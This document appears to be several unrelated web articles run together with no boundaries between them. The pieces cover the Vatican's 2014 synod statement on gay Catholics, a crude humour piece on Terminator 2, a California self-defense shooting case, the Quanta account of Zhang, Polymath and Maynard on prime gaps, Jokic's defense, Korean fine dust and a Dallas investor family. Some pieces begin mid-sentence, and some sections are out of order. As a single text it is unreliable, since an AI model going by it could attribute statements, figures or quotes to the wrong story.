In a report Monday, the Vatican had said that gays and lesbians have "gifts to offer" the Christian community and acknowledged that same-sex couples can give "precious support" to one other.
The statement, an interim report from a closely watched meeting of Catholic clergy here, was widely praised by liberals. It is believed to be the first time the Vatican has said anything positive about gay relationships.
One longtime Vatican journalist called the statement a "pastoral earthquake."
But many conservatives complained that the statement watered down church teaching and did not accurately reflect their discussions here, where nearly 200 Catholic leaders are meeting to debate pastoral approaches to modern family life.
One South African cardinal called Monday's statement, which also included positive language about unmarried couples who cohabitate, "irredeemable."
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"The message has gone out that this is what the synod is saying, this is what the Catholic Church is saying," said Cardinal Wilfrid Fox Napier, referring to the special meeting of Catholic clergy gathered here through Saturday.
"It's not what we're saying at all."
In response to such reactions, the Vatican backtracked a bit Tuesday. In a statement, it said the report on gays and lesbians was a "working document," not the final word from Rome.
The Vatican also said that it wanted to welcome gays and lesbians in the church, but not create "the impression of a positive evaluation" of same-sex relationships, or, for that matter, of unmarried couples who live together.
But gay rights groups say that's precisely the impression the Vatican gave Monday when it said:
"Homosexuals have gifts and qualities to offer to the Christian community. Are we capable of welcoming these people, guaranteeing to them a fraternal space in our communities? Often they wish to encounter a church that offers them a welcoming home. Are our communities capable of providing that, accepting and valuing their sexual orientation, without compromising Catholic doctrine on the family and matrimony?"
Such statements seem to be in line with the more merciful approach the church has taken toward gays and lesbians under Pope Francis. In 2013, Francis famously said, "Who am I to judge?" gay people.
On Monday morning, just before the Vatican released its positive report on gays, Francis preached that laws that do not lead people to Jesus are "dead;" what's more, Christ did "strange things" such as hanging out with sinners and tax collectors, the Pope preached, seemingly tipping his hand about the Vatican's direction.
The overarching goal of the meeting here, officially called the Extraordinary Synod of Bishops on the Family, is to present proposals for a larger gathering to be held in October 2015.
Which means there's a long road ahead before any doctrinal or pastoral changes happen in the church.
In the meantime, conservative and liberal bishops have been fiercely jousting in the court of public opinion. Monday's report only increased the war of words.
Cardinal Raymond Burke, an American and head of the Vatican's supreme court, said the report "lacks a solid foundation in the sacred Scriptures." Other conservatives called it a "betrayal."
Liberal Catholics and gay activists, on the other hand, heralded Monday's statement and said that some conservative pushback was probably inevitable, given how hostile some corners of the church are to change.
"I actually don't think this is as much of a backtrack as we usually see!" said Marianne Duddy-Burke, head of the gay rights group Dignity USA.
"I think that response to this report was swift and intense, and I'm sure many bishops want to be sure people aren't reading more into it than is there," she continued. "However, it is undeniable that there has never been any Vatican document that made positive, respectful statements about same-sex relationships, so that is an undeniable breakthrough."
Francis DeBernardo, executive director of New Ways Ministry, echoed that sentiment.
"Regardless of the fact that this is a working document, it is still significant in that it reveals a strong current of affirmative attitudes at high levels in the church towards lesbians and gay people," he said.Continue Reading Below Advertisement
Because Cameron knew what Terminator 2's problem was heading in: John Connor. Since the savior of humanity was conceived on screen in a movie set in 1984, he would only be 7 years-old in 1991. Cameron realized that audiences wanted to see a Terminator sequel starring a 7 year-old about as much as they wanted to see a Star Wars prequel starring a 7 year-old.
Seriously, eat a dick kid.
His strategy was a ballsy sleight of hand, setting the film in a 1995 that looked exactly like 1991, which is to say, the most accurate rendering of the future in cinematic history. But he didn't go far enough. He arbitrarily stopped in 1995, giving us a 10 year old John Connor who, upon repeated viewing, is so obnoxious that you spend most of the movie wanting to see him shot in the face, fate of humanity be damned.
"If someone comes on to you with an attitude you say 'eat me.'" - The Savior of Humanity
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Now let's imagine Cameron had moved Judgement Day to the year 2000, and set the film in the waning days of the millennium. Instead of Bart Simpson we get a 15 year-old John Connor. Casting director Mali Finn never has to fish for a male lead at a Pasadena Boys and Girls club, Edward Furlong never turns into a walking cautionary tale of childhood stardom and, more importantly for our purposes, Cameron never shits up a damn near timeless Terminator with botched attempts at taking the pulse of early 90s youth culture. Instead he would have given us a John Connor who, like his best movie, is too far into the future to touch any cultural touchstones, but still wouldn't have been too distant to listen to a kick ass Guns N Roses song.
We can't say who Cameron would have cast had he set T2 four more years into the future, but some pretty intriguing actors were the right age in 1991. Christian Bale was 16 at the time, clearing him to play a post-pubescent John Connor in our hypothetical 1999 T2. If Newsies era Bale wasn't striking his fancy, Cameron always had the option of a 15-year-old Leonardo DiCaprio circa What's Eating Gilbert Grape?.No charges for Lakeport woman who fatally shot husband
No charges will be filed against a Lake County woman who in December fatally shot her husband, a well-liked part-time deputy with the Lake County Sheriff’s Office marine patrol.
Lake County District Attorney Don Anderson said Wednesday there was insufficient evidence to disprove Paula Piveronas’ contention that she shot Robert Piveronas, 66, in self-defense.
“It’s not surprising,” Paula Piveronas’ Santa Rosa attorney, Andrew Martinez, said of the decision.
Paula Piveronas, 64, told investigators that she and her husband had been consuming alcohol and were arguing over marital issues before the shooting. She said he had threatened to kill her, had grabbed her by her clothes and thrown her around, and that she believed he was reaching for a gun when she fired a 9 mm pistol, striking him three times in the chest in their Lakeport home, Anderson said.
He did not say what triggered the argument, but Martinez said Robert Piveronas recently had been accusing his wife of having contact with a man she had dated almost 20 years ago, before they married. The marriage was the second for both of them.
“He was fixating on that,” Martinez said.
Robert Piveronas also had been drinking excessively, and the couple were in debt, Martinez said. Piveronas was a retired Hillsborough Police Department captain with a pension, but the couple lived large, he said. Their possessions included an airplane, boats and a motorhome.
Before he died, Robert Piveronas confirmed his wife thought he was going to kill her, but denied hitting her or threatening her with a gun.
Anderson said a revolver was found on the floor of the bedroom, near where the shooting is believed to have taken place.
The way in which the bullets traveled through Robert Piveronas’ body corroborated his wife’s version of how it occurred, he said. It appears Robert Piveronas was leaning down and over the foot of the bed while his wife was at the head of the bed, Anderson said.
After shooting her husband, Paula Piveronas phoned 911, saying she’d killed him. Robert Piveronas was still alive but mortally wounded when deputies arrived. He died the next morning.
The burden of proving the shooting was a crime and not self-defense rested with the prosecution, Anderson said.
A criminal grand jury convened to investigate the shooting could not find cause for an indictment, Anderson said. He said he agrees with the grand jury’s decision.
The couple had no reported history of domestic violence, Anderson said.
People who knew Robert Piveronas have described him as friendly and a “great guy.”
He had worked for the Lake County Sheriff’s Office since 2007 and was well liked among his co-workers and the public, according to sheriff’s officials.
But Paula Piveronas was considering leaving the marriage because of her husband’s threats, which had included him earlier firing a gun into the ceiling, Martinez said. Their nearest neighbor said in December that she had never heard the couple argue.
Martinez said Paula Piveronas did not report the gunfire because they could not afford for him to lose his job with the Sheriff’s Office.
You can reach Staff Writer Glenda Anderson at 462-6473 or glenda.anderson@pressdemocrat.com. On Twitter @MendoReporter.In June, a diverse group of Christian leaders gathered at the National Press Club on behalf of the Circle of Protection to protest potential budget cuts targeting the poor. Representing the full range of Christian traditions, the speakers spoke with prophetic urgency about Jesus' call to care for the poor, the sick, the elderly — the very people the administration's budget would hurt the most.
As bipartisan Christian leaders, rising above the political debates, we must remind legislators that budgets are moral documents. Jesus reminds all who would name his name, “As you have done to the least of these, you have done to me.”
We will continue to share these statements over the next several days and we encourage you to use them to inspire your own advocacy.On May 13, an obscure mathematician — one whose talents had gone so unrecognized that he had worked at a Subway restaurant to make ends meet — garnered worldwide attention and accolades from the mathematics community for settling a long-standing open question about prime numbers, those numbers divisible by only one and themselves. Yitang Zhang, a lecturer at the University of New Hampshire, showed that even though primes get increasingly rare as you go further out along the number line, you will never stop finding pairs of primes separated by at most 70 million. His finding was the first time anyone had managed to put a finite bound on the gaps between prime numbers, representing a major leap toward proving the centuries-old twin primes conjecture, which posits that there are infinitely many pairs of primes separated by only two (such as 11 and 13).
Original story* reprinted with permission from Quanta Magazine, an editorially independent division of SimonsFoundation.org whose mission is to enhance public understanding of science by covering research developments and trends in mathematics and the physical and life sciences.*In the months that followed, Zhang found himself caught up in a whirlwind of activity and excitement: He has lectured on his work at many of the nation’s preeminent universities, has received offers of jobs from top institutions in China and Taiwan and a visiting position at the Institute for Advanced Study in Princeton, N.J., and has been told that he will be promoted to full professor at the University of New Hampshire.
Meanwhile, Zhang’s work raised a question: Why 70 million? There is nothing magical about that number — it served Zhang’s purposes and simplified his proof. Other mathematicians quickly realized that it should be possible to push this separation bound quite a bit lower, although not all the way down to two.
By the end of May, mathematicians had uncovered simple tweaks to Zhang’s argument that brought the bound below 60 million. A May 30 blog post by Scott Morrison of the Australian National University in Canberra ignited a firestorm of activity, as mathematicians vied to improve on this number, setting one record after another. By June 4, Terence Tao of the University of California, Los Angeles, a winner of the Fields Medal, mathematics’ highest honor, had created a “Polymath project,” an open, online collaboration to improve the bound that attracted dozens of participants.
For weeks, the project moved forward at a breathless pace. “At times, the bound was going down every thirty minutes,” Tao recalled. By July 27, the team had succeeded in reducing the proven bound on prime gaps from 70 million to 4,680.
James Maynard, a postdoctoral researcher at the University of Montreal. Photo: Eleanor Grant
Now, a preprint posted to arXiv.org on November 19 by James Maynard, a postdoctoral researcher working on his own at the University of Montreal, has upped the ante. Just months after Zhang announced his result, Maynard has presented an independent proof that pushes the gap down to 600. A new Polymath project is in the planning stages, to try to combine the collaboration’s techniques with Maynard’s approach to push this bound even lower.
“The community is very excited by this new progress,” Tao said.
Maynard’s approach applies not just to pairs of primes, but to triples, quadruples and larger collections of primes. He has shown that you can find bounded clusters of any chosen number of primes infinitely often as you go out along the number line. (Tao said he independently arrived at this result at about the same time as Maynard.)
Zhang’s work and, to a lesser degree, Maynard’s fits the archetype of the solitary mathematical genius, working for years in the proverbial garret until he is ready to dazzle the world with a great discovery. The Polymath project couldn’t be more different — fast and furious, massively collaborative, fueled by the instant gratification of setting a new world record.
For Zhang, working alone and nearly obsessively on a single hard problem brought a huge payoff. Would he recommend that approach to other mathematicians? “It’s hard to say,” he said. “I choose my own way, but it’s only my way.”
Tao actively discourages young mathematicians from heading down such a path, which he has called “a particularly dangerous occupational hazard” that has seldom worked well, except for established mathematicians with a secure career and a proven track record. However, he said in an interview, the solitary and collaborative approaches each have something to offer mathematics.
“It’s important to have people who are willing to work in isolation and buck the conventional wisdom,” Tao said. Polymath, by contrast, is “entirely groupthink.” Not every math problem would lend itself to such collaboration, but this one did.
Combing the Number Line
Zhang proved his result by going fishing for prime numbers using a mathematical tool called a k-tuple, which you can visualize as a comb with some of its teeth snapped off. If you position such a comb along the number line starting at any chosen spot, the remaining teeth will point to some collection of numbers.
Admissible Combs
Roughly speaking, a comb is admissible if there is no obvious reason why its teeth couldn’t point entirely to primes infinitely often as you move it along the number line. If, for example, you take a five-tooth comb and snap off the second and fourth teeth, the resulting comb will not be admissible: it points to triples such as (2, 4, 6), or (5, 7, 9), or (11, 13, 15), and no matter where you place the comb, one of the three numbers in the collection will be divisible by 3. So once you get past the collection (3, 5, 7), you’ll never see another collection consisting entirely of primes.
But a three-tooth comb whose middle tooth gets snapped off has no such obstruction, so it is admissible. It points to pairs such as (2, 4), or (3, 5), or (11, 13), and there is no divisibility reason why it shouldn’t often point exclusively to primes. In fact, the twin primes conjecture is exactly the statement that this particular comb will point to prime pairs infinitely often.
A much more audacious conjecture called the prime k-tuple conjecture — a sort of twin primes conjecture on steroids — posits that any admissible comb will point entirely to primes infinitely often. In other words, the prime numbers display every plausible pattern, not just once but again and again. Plenty of computational evidence supports the prime k-tuple conjecture, but no one knows how to prove it.
The new work of Maynard and Tao gives very solid evidence for the conjecture, Granville said. “Will someone be able to build prime k-tuples in the near future? I doubt it,” he said. “But I’ve been wrong several times already.”
Zhang focused on snapped combs whose remaining teeth satisfy a divisibility property called “admissibility.” He showed that if you go fishing for primes using any admissible comb with at least 3,500,000 teeth, there are infinitely many positions along the number line where the comb will catch at least two prime numbers. Next, he showed how to make an admissible comb with at least 3,500,000 remaining teeth by starting with a 70-million-tooth comb and snapping off all but its prime teeth. Such a comb must catch two primes again and again, he concluded, and the primes it catches are separated by at most 70 million.
The finding is “a fantastic breakthrough,” said Andrew Granville, of the University of Montreal. “It’s a historic result.”
Zhang’s work involved three separate steps, each of which offered potential room for improvement on his 70 million bound. First, Zhang invoked some very deep mathematics to figure out where prime fish are likely to be hiding. Next, he used this result to figure out how many teeth his comb would need in order to guarantee that it would catch at least two prime fish infinitely often. Finally, he calculated how large a comb he had to start with so that enough teeth would be left after it had been snapped down to admissibility.
The fact that these three steps could be separated made improving Zhang’s bound an ideal project for a crowd-sourced collaboration, Tao said. “His proof is very modular, so we could parallelize the project, and people with different skills squeezed out what improvements they could.”
The Polymath project quickly attracted people with the right skills, perhaps more efficiently than if the project had been organized from the top down. “A Polymath project brings together people who wouldn’t have thought of coming together,” Tao said.
Prime Fishing Grounds
Of Zhang’s three steps, the first to admit improvement was the last one, in which he found an admissible comb with at least 3,500,000 teeth. Zhang had shown that a comb of length 70 million would do the trick, but he hadn’t tried particularly hard to make his comb as small as possible. There was plenty of room for improvement, and researchers who were good at computational mathematics soon started a friendly race to find small admissible combs with a given number of teeth.
Andrew Sutherland, of the Massachusetts Institute of Technology, quickly became a sort of de facto admissible-comb czar. Sutherland, who focuses on computational number theory, had been traveling during Zhang’s announcement and hadn’t paid particular attention to it. But when he checked in at a Chicago hotel and mentioned to the clerk that he was there for a mathematics conference, the clerk replied, “Wow, 70 million, huh?”
“I was floored that he knew about it,” Sutherland said. He soon discovered that there was plenty of scope for someone with his computational skills to help improve Zhang’s bound. “I had lots of plans for the summer, but they went by the wayside.”
For the mathematicians working on this step, the ground kept shifting underfoot. Their task changed every time the mathematicians working on the other two steps managed to reduce the number of teeth the comb would require. “The rules of the game were changing on a day-to-day basis,” Sutherland said. “While I was sleeping, people in Europe would post new bounds. Sometimes, I would run downstairs at 2 a.m. with an idea to post.”
The team eventually came up with the Polymath project’s record-holder — a 632-tooth comb whose width is 4,680 — using a genetic algorithm that “mates” admissible combs with each other to produce new, potentially better combs.
Maynard’s finding, which involves a 105-tooth comb whose width is 600, renders these giant computations obsolete. But the team’s effort was not a wasted one: Finding small admissible combs plays a part in many number theory problems, Sutherland said. In particular, the team’s computational tools will likely prove useful when it comes to refining Maynard’s results about triples, quadruples and larger collections of primes, Maynard said.
The Polymath researchers focusing on step two of Zhang’s proof looked for places to position the comb along the number line that had the greatest likelihood of catching pairs of primes, to figure out the number of teeth required. Prime numbers become very sparse as you go out along the number line, so if you just plunk your comb down somewhere randomly, you probably won’t catch any primes, let alone two. Finding the richest fishing grounds for prime numbers ended up being a problem in “calculus of variations,” a generalization of calculus.
Wrong in Public
The entire Polymath project is available online for anyone who wants to see “how the sausage is made,” Tao said. The blog discussion threads offer a unique glimpse into mathematics research, which usually happens behind closed doors.
In particular, Tao said, the online posts and comments make clear how much trial and error goes into developing mathematical ideas. Polished research papers often give the impression that their authors have never made a misstep. But in truth, Tao said, “great mathematicians make stupid mistakes, and this is a process that people often hide, because it is embarrassing.”
One of the bedrock principles of the Polymath approach is that participants should throw any idea out to the crowd immediately, without stopping to ponder whether it is any good. “There’s an explicit license to be wrong in public,” Morrison said. “It goes against a lot of people’s instincts, but it makes the project much more efficient when we’re more relaxed about saying stupid things.”
This step involved perhaps some of the least novel developments in the project, and the ones that were most directly superseded by Maynard’s work. At the time, though, this advance was one of the most fruitful ones. When the team filled in this piece of the puzzle on June 5, the bound on prime gaps dropped from about 4.6 million to 389,922.
The researchers focusing on step one of Zhang’s proof, which deals with how prime numbers are distributed, had perhaps the hardest job. Mathematicians have been familiar with a collection of distribution laws for primes for more than a century. One such law says that if you divide all prime numbers by the number three, half of the primes will produce a remainder of one and half will produce a remainder of two. This kind of law is exactly what’s needed to figure out whether an admissible comb is likely to find pairs of primes or miss them, since it suggests that “[prime] fish can’t all hide behind the same rock, but are spread out everywhere,” Sutherland said. But to use such distribution laws in his proof, Zhang — and, later, the Polymath project — had to grapple with some of the deepest mathematics around: a collection of theorems from the 1970s by Pierre Deligne, now an emeritus professor at the Institute for Advanced Study, concerning when certain error terms are likely to cancel each other out in gigantic sums. Morrison described Deligne’s work as “a big and terrifying piece of 20th-century mathematics.”
“We were very fortunate that several of the participants were well-versed in the difficult machinery that Deligne developed,” Tao said. “I myself did not know much about this area until this project.”
Terence Tao of the University of California, Los Angeles. Photo: Kyle Alexander
The project didn’t just figure out how to refine this part of the proof to improve the bound. It also came up with an alternative approach that eliminates the need for Deligne’s theorems entirely, although at some cost to the bound: Without Deligne’s theorems, the best bound the project has come up with is 14,950.
This simplification of the proof is, if anything, more exciting to mathematicians than the final number the project came up with, since mathematicians care not only about whether a proof is correct but also about how much new insight it gives them.
“What we’re in the market for are ideas,” said Granville.
As the Polymath project progressed, Zhang himself was conspicuously, though perhaps not surprisingly, absent. He has not followed the project closely, he said. “I didn’t contact them at all. I prefer to keep quiet and alone. It gives me the opportunity to concentrate.”
Also absent, though less conspicuously, was Maynard. As the Polymath participants worked feverishly to improve the bound between prime pairs, Maynard was working on his own to develop a different approach — one foreshadowed by a forgotten paper that was written, and then retracted, ten years ago.
A Secret Weapon
Zhang’s work was grounded in a 2005 paper known as GPY, after its authors, Daniel Goldston of San Jose State University, János Pintz of the Alfréd Rényi Institute of Mathematics in Budapest, and Cem Yıldırım of Boğaziçi University in Istanbul. The GPY paper developed a scoring system to gauge how close a given number is to being prime. Even numbers get a very low score, odd numbers divisible by 3 are only slightly higher, and so on. Such scoring formulas, called sieves, can also be used to score the collection of numbers an admissible comb points to, and they are a crucial tool when it comes to figuring out where to place the comb on the number line so that it has a good chance of catching prime fish. Constructing an effective sieve is something of an art: The formula must provide good estimates of different numbers’ prime potential, but it must also be simple enough to analyze.
Two years before GPY was published, two of its authors, Goldston and Yıldırım, had circulated a paper describing what they asserted was a powerful scoring method. Within months, however, mathematicians discovered a flaw in that paper. Once Goldston, Yıldırım and Pintz adjusted the formula to repair this flaw, most mathematicians turned their focus to this adjusted scoring system, the GPY version, and didn’t consider whether there might be even better ways to tweak the original, flawed formula.
“Those of us looking at GPY thought we had the bases covered, and it didn’t cross our mind to go back and redo the earlier analysis,” said Granville, who is Maynard’s postdoctoral adviser.
About a year ago, however, Maynard decided to go back and take a second look at the earlier paper. A newly minted Ph.D. who had studied sieving theory, he spotted a new way to adjust the paper’s scoring system. GPY’s approach to scoring an admissible comb had been to multiply together all the numbers the comb pointed to and then score the product in one fell swoop. Maynard figured out a way to score each number separately, thereby deriving much more nuanced information from the scoring system.
Maynard’s sieving method “turns out to be surprisingly easy,” Granville said. “It’s the sort of thing where people like me slap their foreheads and say, ‘We could have done this seven years ago if we hadn’t been so sure we couldn’t do it!’”
Yitang Zhang of the University of New Hampshire. Photo: University of New Hampshire
With this refined scoring system, Maynard was able to bring the prime gap down to 600 and also prove a corresponding result about bounded gaps between larger collections of primes.
The fact that Zhang and Maynard managed, within months of each other, to prove that prime gaps are bounded is “a complete coincidence,” Maynard said. “I found Zhang’s result very exciting when I heard about it.”
Tao has been similarly philosophical about Maynard’s scoop of the Polymath project’s headline number. “You expect the record to be beaten — that’s progress,” he said.
It is likely, Tao and Maynard said, that Maynard’s sieve can be combined with the deep technical work by Zhang and the Polymath project about the distribution of primes to bring the prime gap even lower.
The Polymath project has focused lately on writing up its findings in a paper, already over 150 pages, which it has been invited to submit to the journal Algebra & Number Theory. However, Tao predicted that the project’s participants will not be able to resist immediately sinking their teeth into Maynard’s new preprint. “It’s like red meat,” he said.
This time, Maynard plans to join in. “I’m looking forward to trying to get the bound as small as possible,” he said.
It remains to be seen how much more can be wrung out of Zhang’s and Maynard’s methods. Prior to Maynard’s work, the best-case scenario seemed to be that the bound on prime gaps could be pushed down to 16, the theoretical limit of the GPY approach. Maynard’s refinements push this theoretical limit down to 12. Conceivably, Maynard said, someone with a clever sieve idea could push this limit as low as 6. But it’s unlikely, he said, that anyone could use these ideas to get all the way down to a prime gap of 2 to prove the twin primes conjecture.
“I feel that we still need some very large conceptual breakthrough to handle the twin primes case,” Maynard said.
Tao, Maynard and the Polymath participants may eventually get an influx of new ideas from Zhang himself. It has taken the jet-setting mathematician a while to master the art of thinking about mathematics on airplanes, but he has now started working on a new problem, about which he declined to say more than that it is “important.” While he isn’t currently working on the twin primes problem, he said, he has a “secret weapon” in reserve — a technique to reduce the bound that he developed before his result went public. He omitted this technique from his paper because it is so technical and difficult, he said, adding that he may publish it next year.
“It’s my own original idea,” he said. “It should be a completely new thing.”
Original story |
fur is so short they don’t even need to be brushed and they rarely need baths.
They were certified as therapy pets, so used to take them to nursing homes with the girls (they have now retired from that). Their temperament is great for these settings. They make great icebreakers. The residents loved to talk about their dogs.SALT LAKE CITY, UT - OCTOBER 18: Donovan Mitchell #45 of the Utah Jazz controls the ball while being defended by Nikola Jokic #15 of the Denver Nuggets in the first half at Vivint Smart Home Arena on October 18, 2017 in Salt Lake City, Utah. NOTE TO USER: User expressly acknowledges and agrees that, by downloading and or using this photograph, User is consenting to the terms and conditions of the Getty Images License Agreement. (Photo by Gene Sweeney Jr./Getty Images)
The Denver Nuggets have a very improved defense, but statistically speaking, the best defender on the team has shockingly been Nikola Jokic.
Nikola Jokic came into this season looking to ride off the momentum he established last season. Everyone knew how much of an offensive juggernaut he is, but the one area of his game which was lacking was his defense.
Well, so far this season, it looks as if this part of his game is finally improving which has made him even more of a threat. How good you ask? So good he is statistically the Nuggets’ best defender right now. Yes, you read that correctly. So far, Jokic has a defensive rating of 101 and is averaging 1.5 steals per game along with 0.6 blocks per game per basketball-reference.com.
Now, compare this to Denver’s premier defender, Gary Harris. Harris is averaging 1.8 steals per game, 0.4 blocks per game and a defensive rating of 107. Not bad numbers for the Joker at all. Jokic has done a decent job guarding physical bigs this season as well. He was able to hold his own recently against Oklahoma City’s center, Steven Adams and did a solid job containing other big men such as Hassan Whiteside.
Jokic may not exactly be stuffing players left and right, but he has done a good job getting a nice handful of steals and limiting his oppositions numbers while guarding them. If Jokic can keep up this level of defensive play, then he will be well on his way to being a great two way player. This is scary considering how effective Jokic is already as an offensive threat which would be a nightmare for the rest of the NBA.
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The Nuggets are lucky Jokic is growing and evolving as a player and if he keeps up this level of play on defense, then the sky is the limit.Anti-dust products gain huge popularity
By Park Jae-hyuk
Korean consumers' concern about fine dust, which is believed to come from China, seems to be legitimate as confirmed by a report published Thursday in the peer-reviewed international journal Nature.
About 30,900 people in Korea and Japan die prematurely every year due to fine dust from China, according to the study jointly conducted by researchers in China's Tsinghua and Peking universities, the University of British Columbia and the University of California, Irvine.
Analyzing the number of early deaths from heart, lung and blood vessel-related diseases and the density and movement of fine dust, the researchers found out that 411,100 people worldwide died prematurely due to fine dust from outside their countries.
The researchers especially pointed out that China, as the largest producer of fine dust particles, causes the greatest number of deaths because of the high population density of itself and its neighbors.
"It costs less to manufacture goods in places like China and Southeast Asia, mostly because those places have cheaper labor than the West," Steven Davis, co-author of the paper, said. "But they also tend to have less stringent environmental protections."
So consumers appear to have no choice but to buy anti-dust products to protect respiratory organs from the deadly air pollution.
Apart from air purifiers, masks, cleaning products and air cleaning plants, samgyeopsal and seaweed have also been in the limelight in spring, because they are regarded as foods which expel fine dust from a person's body.
According to e-commerce platform 11st, sales of samgyeopsal rose 33 percent this month year-on-year. The nation's leading discount chains ― E-mart and Lotte Mart ― have also held promotional events for pork in line with its rising popularity.
But experts said there is not a lot of science behind this belief, pointing out samgyeopsal's fat may disrupt blood circulation and detoxification of the dust. They also said roasting samgyeopsal can worsen indoor air quality.
Consumption of seaweed and herbs has surged as well. Online marketplace Auction said sales of water parsley doubled from a year earlier. Those of seaweed, broccoli, green tea and pear also grew rapidly.
While some experts say these foods can prevent heavy metals from being absorbed into the body, others point out those foods in the intestines cannot excrete the dust causing severe problems in respiratory organs.
The most efficient product recognized by most experts is a mask, still the most popular item on the market which is unusual in spring.
According to Auction, sales of masks last week skyrocketed 406 percent year-on-year. Social commerce firm Ticket Monster also posted a 103 percent increase in mask sales last month from a year earlier.
"The worsening fine dust issue affects sales of the related products," an Auction official said. "Consumers have begun to regard masks as necessities, because of heavy air pollution throughout the year."
People, who can afford to buy higher-priced anti-dust products, have begun to pay attention to air purifiers and clothes dryers, as more households live inside with the windows closed.
E-mart announced sales of air purifiers last week rose 86.1 percent year-on-year. Electronics retailer Lotte Hi-mart said the sales of dryers soared eleven-fold this month year-on-year.
According to the pollution-monitoring website AirVisual, Seoul ranked second worst among large cities worldwide in terms of air pollution last week after New Delhi, India. A U.S.-based nonprofit research institute also said the annual average density of fine dust in Korea was the second-worst among OECD members after Turkey.
The Korean government's data has recently shown that more than 80 percent of fine dust here comes from China.Takeharu Miyama tells a fascinating story of how he came to the United States in the mid-1970s and wound up making millions in Dallas. His daughter Sawako translates from Japanese: “I told my parents I wanted to see the world. I wanted to go someplace where people didn’t know me. I wanted to see what I could be.”
We’re sitting in the Miyamas’ office on the fifth floor of an Uptown building they own. With its brightly colored walls, whimsical art, and views of Klyde Warren Park, the space doesn’t look like the former storage room for janitorial supplies that it once was. Because I’m not focused on his words, I notice the excitement in Takeharu’s voice, his infectious grin, and his twinkling eyes. I begin to understand how, on a cross-country trip 40 years ago, he was able to transcend the language barrier and why many Americans welcomed him into their homes. It was the kindness of the people, he says, that led him back to the States years later, and why he decided to invest here.
Takeharu made his first real estate play in Dallas in 1990. Sixteen years later, he acquired the Uptown building, 1909 Woodall Rodgers Freeway, and an adjacent motor bank. Back then, there was nothing remarkable about the asset, a nondescript, 1980s mid-rise. But today, it’s one of the most sought-after properties in Dallas—the last viable development site next to Klyde Warren Park. Practically every developer in town has tried to persuade the family to sell or do a joint venture. A stack of their business cards sits on Sawako’s desk. But the Miyamas won’t be rushed. Their first priority isn’t generating returns.
The family’s business philosophy has been cultivated for centuries in the Miyamas’ home country of Japan. The clan has lived on the same land in the Chiba Prefecture, east of Tokyo, since the 1500s. For more than 400 years, the Miyamas farmed rice. But after World War II, as part of the democratization of Japan, land reforms forced the family to sell or give away most of its property to their workers and the government. Seeking a new way to earn a living, Takeharu’s father, Kunitake, got into the gas pipe installation business, which benefited from the reconstruction boom. In the 1960s, his flourishing company, Miyama Globuiss, expanded into real estate development and construction.
It was understood that Takeharu, the family’s only son, would join the business after graduating from college. But when the time came, in 1976, he didn’t feel ready or worthy of doing so. Takeharu told his parents that he wanted to take some time to travel, and they gave him their blessing.
He flew on a 747 to San Francisco. “It was a time machine,” he says. “Like a lot of people in Japan, I had read about America and watched I Love Lucy and had dreams of going to Disneyland. But arriving in San Francisco after just a 10-hour plane ride was like going to the future.”
Takeharu had brought his bicycle so that he could ride in the Bikecentennial, a 4,250-mile, coast-to-coast trip to commemorate America’s 200th birthday. He thought it would be a cool way to see the country. After kicking around in San Francisco for a few days, he took a Greyhound bus from California to Astoria, Oregon, the Bikecentennial’s starting point, and began pedaling east. He traveled light, with a small tent, sleeping bag, some clothes, and a few tools jammed into panniers. Sometimes he rode with others in the group; often he traveled alone.
“Any business relationship they have doesn’t exist as a business relationship. It’s a personal relationship, and business is a component of that. You don’t need a contract with Mr. Miyama; his word is his bond.” There were a few scary moments. At one point, a semi-trailer passed Takeharu and blew him into a ravine. Another time he leaned his bike against a beehive and got swarmed. He says that crossing the Rockies took his breath away. And he learned lessons that he still uses in business today.
“You have to keep pedaling to reach the summit,” he says. “And once you get to the top, you need to rest your legs instead of going down so fast. What that means is to set a high goal, you have to continually make an effort. And if you get lazy after you reach that goal, you can go down quickly and crash.”
The 10-state trip, designed to go through rural areas, was big news in the small towns along the way. Many people gave Takeharu a meal or let him rest for a night in their homes. Those fleeting encounters reminded him of the 1950s western Shane, he says. He was touched by the kindness of the strangers who hosted him, especially as memories of Japan’s role in World War II still lingered. He struggled to communicate, but he made sure to learn the words “thank you.”
He used to believe that physical things—land and resources—led to America’s prosperity. “I learned it was not tangible but intangible,” he says. “I never understood why the United States helped Japan after the war. After my trip, I understood why. The greatness of America is its people.”
After four months on the road, Takeharu arrived on the Virginia coast, where he jumped into the Atlantic. Not yet ready to return to Japan, and with cash remaining from the $4,000 he had brought with him, he flew to Heathrow and spent two months cycling through England, France, Switzerland, and Germany. One night he caught his reflection in a mirror and saw that he had grown from a scrawny kid into a muscular man. Tears well up today as he recalls the wave of homesickness that washed over him. Takeharu realized that he was ready to return to Japan and take his place in his father’s company.
•••
Sawako Miyama was 10 years old the first time she visited Dallas with her family. She remembers being picked up at the airport by a limousine and feeling quite fancy. “In Japan, people are conservative and disciplined,” she says. “In Texas, everyone was saying hi to us and talking to us and being very friendly.”
It was 1990, and Takeharu, now at the helm of Miyama Globuiss, had returned to invest in the country that had been so kind to him on his cross-country trip. Like most foreign real estate investors, he looked at opportunities in the gateway markets on the coasts. But there was just something about Dallas. “He felt the downturn in the economy at the time was temporary and that it had a lot of upside potential,” Sawako says. “He also felt very welcome here, and he saw a lot of similarities between the people of Dallas and the people of Japan.”
Takeharu bought The Shelton on Luther Lane, in Preston Center, in 1990. It was built as a condominium project, but only a few units had sold, and he converted it to luxury apartments. He then bought The Forest at Duck Creek Apartments, a 130-unit multifamily property in Garland. He began looking for ways to contribute to the region, quietly but generously supporting Scottish Rite Hospital and developing two dormitories for the University of North Texas.
Sawako attended college in Japan, but she spent her summers at UNT in an English immersion program. When Takeharu would come to town to meet with his asset managers and business associates, Sawako would tag along and serve as interpreter, not realizing that her father was evaluating her for a role in the company. She knew her younger (and only) brother, Takehito, would be the successor at Miyama Globuiss and never imagined she’d be tapped to head up the Dallas affiliate, Miyama USA Texas.
When she was 20, her parents took her to Cambodia, where the Miyamas had built and donated a number of schools. A celebration was being held to mark the opening of the latest facility, with more than 1,000 people expected to attend. The night before the event, Takeharu told his daughter that she would give a speech on behalf of the family. She was surprised but knew she had to do as her father wished, so she stayed up all night working on her remarks. It was another test. Afterward, her father asked if she’d be interested in working in Dallas. “I didn’t realize he had so much confidence in me,” Sawako says. She moved here in 2003, after graduating from college, and has lived here ever since.
Sawako set about learning every aspect of the business, working in housekeeping, groundskeeping, painting, and maintenance, before taking on some office responsibilities. Each week, her father would send her lessons handwritten on yellow legal pads. Sometimes they’d be about work; sometimes they’d be about life. She learned the most, though, from being his translator in business meetings, carefully listening to both sides of the conversations.
